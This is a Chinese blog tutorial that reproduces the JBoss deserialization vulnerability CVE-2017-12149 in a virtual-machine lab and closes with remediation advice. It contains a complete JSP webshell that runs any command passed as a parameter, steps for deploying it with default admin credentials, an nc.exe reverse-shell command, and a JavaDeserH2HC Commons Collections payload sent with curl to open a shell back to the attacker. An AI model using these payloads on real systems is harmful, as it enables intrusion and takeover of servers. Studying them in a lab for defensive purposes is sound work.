1. 环境准备与漏洞原理:为什么这个漏洞如此危险?

大家好,我是老张,在安全圈摸爬滚打十来年,见过形形色色的漏洞,但像Jboss反序列化(CVE-2017-12149)这种“古董级”却又经久不衰的漏洞,确实值得好好聊聊。很多刚入门的朋友一听到“反序列化”、“Java”、“JBoss”这些词就头大,觉得门槛太高。别怕,今天我就用最接地气的方式,带你从零开始,亲手把这个漏洞的环境搭起来,再把漏洞利用的每一步掰开揉碎了讲清楚。你会发现,它其实没你想的那么复杂。

咱们先搞清楚最核心的问题:序列化和反序列化到底是什么? 你可以把它想象成快递打包和拆包的过程。比如你在网上买了个乐高玩具(一个Java对象),商家(程序)为了运输方便,会把零件按照说明书(序列化规则)拆开、整齐地码放进盒子(转换成字节流),这个过程就是序列化。包裹运到你手里后,你按照同样的说明书(反序列化规则)把零件拼回原来的乐高玩具(Java对象),这个过程就是反序列化。这个机制本身没问题,是Java等语言进行数据持久化和网络传输的常规操作。

那么漏洞出在哪呢?问题就出在“拆包裹”这个环节。想象一下,如果一个恶意的快递员,偷偷把包裹里的乐高零件换成了一个小型炸弹零件,而你在拆包时毫无防备,直接按照原说明书去拼装,结果“砰”的一声,炸弹就被你亲手组装并引爆了。在Jboss的这个漏洞里,那个“小型炸弹零件”就是攻击者精心构造的恶意序列化数据,而Jboss的/invoker/readonly这个接口,就像一个不检查包裹内容的“自动拆包机”,对传入的数据毫无戒心,直接进行反序列化操作。一旦恶意代码被成功还原(反序列化)并执行,攻击者就能在你的服务器上为所欲为,执行任意命令,比如直接弹回一个shell,获得服务器的控制权。

这个漏洞影响的范围非常广,主要波及JBoss AS 5.x 和 6.x 版本。这些版本在当年被大量用于企业级应用部署,虽然现在看有点老旧,但在一些内网系统、遗留业务中依然顽强地活着,成了攻击者最喜欢的目标之一。因为它无需任何用户名密码认证,只要你能访问到那个/invoker/readonly的URL,就有机会直接“拿下”服务器,危害等级非常高。

2. 靶场搭建:在Windows 2003上复活一个“老古董”JBoss

理论懂了,咱们就得动手了。安全研究,光说不练假把式。我强烈建议你在虚拟机里操作,别拿真机开玩笑。这里我选择用Windows Server 2003和JBoss 5.x来复现,因为它最符合当年的经典环境,踩坑的过程也能让你更深刻地理解兼容性问题。

2.1 安装Java JDK:打好地基

第一步,安装Java。JBoss 5/6那个年代,主流还是JDK 1.6或1.7。我实测过,用太高版本的JDK(比如1.8以上)后续可能会遇到一些奇怪的类兼容性问题,所以咱们就“复古”到底,用JDK 6u45。这个版本比较稳定,和JBoss 5.x是“黄金搭档”。

下载好jdk-6u45-windows-i586.exe后,直接安装,路径我习惯放在C:\Java\jdk1.6.0_45,清爽一点。安装完JDK只是第一步,更关键的是配置环境变量,这是很多新手会卡住的地方。

配置环境变量详细步骤:

  1. 右键“我的电脑” -> “属性” -> “高级” -> “环境变量”。
  2. 新建系统变量 JAVA_HOME:变量值就是你的JDK安装路径,比如C:\Java\jdk1.6.0_45。这个变量名是约定俗成的,很多Java软件都靠它来找Java。
  3. 新建系统变量 CLASSPATH:变量值为.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar。最前面的那个点.代表当前目录,千万不能少,它告诉Java程序也要从当前文件夹找类文件。
  4. 修改系统变量 Path:在原有的值最前面加上%JAVA_HOME%\bin;。注意分号是分隔符。这步的目的是让系统在任何位置都能识别java、javac这些命令。

配置完成后,打开命令行(开始->运行->输入cmd),分别输入java -version和javac命令。如果能看到正确的Java版本信息和javac的帮助提示,恭喜你,Java地基就打牢了。

2.2 安装与配置JBoss:启动“漏洞服务器”

接下来是主角JBoss。我们去官网找历史版本,下载一个JBoss 5.1.0.GA。下载完通常是个zip包,解压到C:\根目录下,为了方便,我把文件夹重命名为jboss,这样路径就是C:\jboss。

同样,我们也给JBoss配个环境变量,虽然不是必须,但能省不少事。

  1. 新建系统变量 JBOSS_HOME,值设为C:\jboss。
  2. 在系统变量 Path 的末尾追加;%JBOSS_HOME%\bin。

关键配置修改: 为了让我们的靶机可以从网络被访问,需要修改JBoss的绑定地址。找到C:\jboss\server\default\deploy\jboss-web.deployer\server.xml这个文件,用记事本打开。搜索${jboss.bind.address},大概在<Connector port="8080" ...>这个标签的address属性里。把它改成0.0.0.0,意思是监听所有网络接口。端口8080一般不用动,除非有冲突。

保存后,进入C:\jboss\bin目录,双击运行run.bat。你会看到一个黑色的命令行窗口开始疯狂刷日志。等到最后出现类似JBoss (MX MicroKernel) [5.1.0.GA] Started in 30s:350ms的字样,就说明启动成功了!这时,在你的攻击机(比如Kali Linux,IP是192.168.2.129)的浏览器里访问http://靶机IP:8080,比如http://192.168.2.148:8080,应该就能看到JBoss的欢迎页面了。如果看不到,请检查防火墙是否关闭了8080端口,以及虚拟机网络是否互通(都用NAT或桥接模式)。

3. 漏洞探测与初步利用:验证漏洞真实存在

环境跑起来了,我们怎么知道它真的存在漏洞呢?这就需要进行漏洞探测。根据漏洞原理,存在漏洞的JBoss会暴露一个/invoker/readonly接口,这个接口会不加甄别地处理我们发送的数据。

探测方法非常简单: 直接在浏览器里访问http://靶机IP:8080/invoker/readonly。如果页面返回一个HTTP 500 内部服务器错误,而不是404(找不到页面)或者403(禁止访问),那么就有很大概率存在CVE-2017-12149漏洞。为什么是500错误?因为我们的浏览器访问时,发送的是一个普通的GET请求,没有携带有效的序列化数据,服务端尝试反序列化时失败了,所以报错。这个错误页面恰恰“泄露”了这个危险接口的存在。

更进一步的验证,我们可以使用工具直接发送一个简单的序列化数据包,测试命令执行。这里我们可以先用一个现成的Python脚本来快速验证。我写过一个简单的POC脚本,原理就是构造一个能执行系统命令的序列化对象,发送给目标。

#!/usr/bin/env python3
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else ‘http://192.168.2.148:8080‘
url = target + ‘/invoker/readonly‘

# 这是一个经过Base64编码的、执行‘whoami‘命令的简单Payload(示例结构,非完整)
# 实际利用中,我们会使用更复杂的生成工具(如ysoserial)来生成Payload
headers = {‘Content-Type‘: ‘application/x-java-serialized-object‘}
# 这里需要替换成真实的、有效的序列化字节流
data = b‘...复杂的序列化字节...‘

try:
    resp = requests.post(url, data=data, headers=headers, timeout=10)
    print(‘Response Status:‘, resp.status_code)
    # 如果命令执行成功,可能会在响应中看到回显(取决于Payload构造方式)
except Exception as e:
    print(‘Error:‘, e)

当然,上面脚本中的data部分是需要用专门工具生成的。我们初步探测的目的已经达到:确认了/invoker/readonly接口开放且可访问,并返回500错误。这就好比我们找到了一扇没有上锁的门(500错误),接下来要做的就是打造一把能开门的“万能钥匙”(恶意序列化Payload)。

4. 利用漏洞获取WebShell:上传我们的“后门”

直接执行命令虽然爽,但不够持久和方便。通常,攻击者会想办法上传一个WebShell,获得一个图形化或命令行的持久化控制界面。JBoss的管理控制台本身就提供了上传WAR包部署应用的功能,这给我们提供了便利。

第一步,准备一个WebShell的WAR包。 我们可以用一个简单的JSP木马。创建一个名为shell.jsp的文件,内容如下(这是一个经典的JSP一句话木马变种):

<%@page import="java.util.*,java.io.*"%>
<%
if(request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>

然后,我们需要把它打包成WAR文件。新建一个文件夹,比如叫testShell,在里面创建WEB-INF文件夹(可以留空),然后把shell.jsp放在testShell根目录。用压缩软件(如7-Zip)将整个testShell文件夹压缩,并将压缩包后缀名直接改为.war,得到testShell.war。

第二步,通过JBoss控制台上传。 访问http://靶机IP:8080/admin-console/,使用默认账号admin和密码admin登录(如果没改的话)。在控制台中找到 “Web Application (WARs)” 这个选项,点击 “Add a new resource”,选择我们刚打包好的testShell.war文件上传。部署成功后,我们的WebShell访问地址就是http://靶机IP:8080/testShell/shell.jsp。

第三步,连接测试。 在浏览器访问http://靶机IP:8080/testShell/shell.jsp?cmd=whoami。如果页面上显示了当前服务器执行whoami命令的结果(比如nt authority\system),那么恭喜你,你已经通过漏洞利用链,成功在目标服务器上部署了一个Web后门,可以执行任意系统命令了。这种方式比单纯执行一次命令更稳定,可以随时通过浏览器进行操控。

5. 进阶利用:反弹Shell获得完整控制权

WebShell在浏览器里操作毕竟有局限,比如无法进行交互式操作(像mysql命令行或者python交互环境)。我们终极目标是获得一个标准的、交互式的反向Shell,让目标服务器主动连接回我们攻击机的监听端口,这样我们就获得了一个完整的“命令行终端”。

这里我分享两种最常用的方法,也是实战中最稳的。

5.1 利用NC(Netcat)反弹Shell

Netcat被称为“网络瑞士军刀”,用它反弹Shell是最经典的方法。前提是能在目标服务器上执行命令并下载或上传nc.exe。

  1. 在攻击机(Kali)上开启监听: 在Kali终端输入nc -lvnp 8888。-l监听,-v详细输出,-n直接使用IP地址,-p指定端口8888。这个窗口会一直等待连接。
  2. 在目标服务器上执行反弹命令: 通过我们已获得的WebShell(shell.jsp),执行以下命令: cmd /c c:\path\to\nc.exe 攻击机IP 8888 -e cmd.exe 这条命令的意思是,让目标服务器的nc.exe程序去连接我们Kali的8888端口,并把本地的cmd.exe进程的标准输入输出重定向到这个网络连接上。

如果一切顺利,你会看到Kali的监听窗口立刻获得了连接,并出现了Windows的命令提示符C:\>,这时你就可以像操作自己电脑一样操作目标服务器了。这种方法简单直接,但缺点是nc进程容易被杀毒软件标记,且连接可能不够稳定。

5.2 利用JavaDeserH2HC工具生成Payload反弹Shell

这是更专业、也更贴合本漏洞利用方式的方法。我们直接生成一个恶意的Java序列化数据流(Payload),其中就包含了反弹Shell的指令,然后将其发送给漏洞接口。

  1. 准备工具: 我们需要用到JavaDeserH2HC这个工具集(可以在GitHub上找到)。它里面包含了利用Apache Commons Collections库链生成Payload的代码。把工具下载到Kali上,确保Kali安装了Java编译环境。
  2. 编译生成Payload: 工具包里通常有一个ReverseShellCommonsCollectionsHashMap.java文件,我们需要修改里面的反弹Shell的IP和端口。用文本编辑器打开,找到设置IP和端口的地方(通常是String[] command数组或类似参数),改成我们Kali的IP和监听端口,比如192.168.2.129:4445。 然后编译它:
    javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
    
    编译成功后,运行它来生成序列化文件(.ser):
    java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.2.129:4445
    
    这会在当前目录生成一个ReverseShellCommonsCollectionsHashMap.ser文件,这就是我们的“炮弹”。
  3. 发送Payload并监听: 首先在Kali另一个终端开启监听nc -lvnp 4445。然后使用curl命令将“炮弹”发射出去:
    curl http://192.168.2.148:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser -H “Content-Type: application/x-java-serialized-object”
    
    注意--data-binary参数和Content-Type头很重要,确保数据以二进制形式原样发送。命令执行后,如果漏洞存在且Payload有效,你会立刻在nc监听窗口看到反弹回来的Shell。

这种方法的好处是,它完全利用Java反序列化漏洞本身来执行代码,不依赖目标服务器上是否有nc等工具,成功率更高,也更隐蔽。我在实际的内网渗透测试中,遇到老版本JBoss,用这个方法几乎百试百灵。

6. 漏洞修复与防御建议:亡羊补牢,为时未晚

复现漏洞是为了更好地理解它,从而防御它。如果你负责的系统中还有这些老版本的JBoss,请务必立刻采取行动。

最根本的修复方案是升级。 将JBoss AS升级到不受影响的版本(如JBoss AS 7.x及以上),或者迁移到WildFly(JBoss的后继开源项目)。新版本已经移除了有问题的invoker组件。

如果因为业务原因暂时无法升级,必须采取临时加固措施:

  1. 删除或限制访问invoker组件: 找到JBoss部署目录下的server/default/deploy/(或类似路径),删除http-invoker.sar这个目录或WAR包。这是最快最有效的方法。
  2. 配置安全策略,限制访问源: 如果invoker服务必须保留,务必在防火墙或JBoss前面的Web代理(如Nginx、Apache)上配置严格的访问控制列表(ACL),只允许可信的IP地址或网络段访问/invoker/readonly等路径。
  3. 添加身份验证: 为JBoss管理控制台和所有管理接口配置强密码,并定期更换。禁用默认的admin/admin账号。
  4. 网络层面隔离: 绝对不要将JBoss管理界面直接暴露在互联网上。应该将其部署在内网,通过VPN或堡垒机进行访问。

对于开发者而言,从根本上避免反序列化漏洞,需要在代码层面做到:不要反序列化来自不可信来源的任何数据。如果业务必须,可以考虑使用白名单机制,只允许反序列化预期的、安全的类;或者使用更安全的替代方案,如JSON、Protocol Buffers等数据交换格式。

折腾完这一整套,从环境搭建到成功反弹Shell,我相信你对CVE-2017-12149这个漏洞的理解已经不再是纸上谈兵了。安全研究就是这样,亲手挖坑、填坑的过程,比读十篇分析报告都管用。这个漏洞虽然老了,但它的原理——对不可信数据的盲目反序列化——至今仍在许多新型漏洞中反复出现。理解它,就是理解了一类安全问题的本质。下次再遇到类似的漏洞,你就能更快地抓住要害了。

更多推荐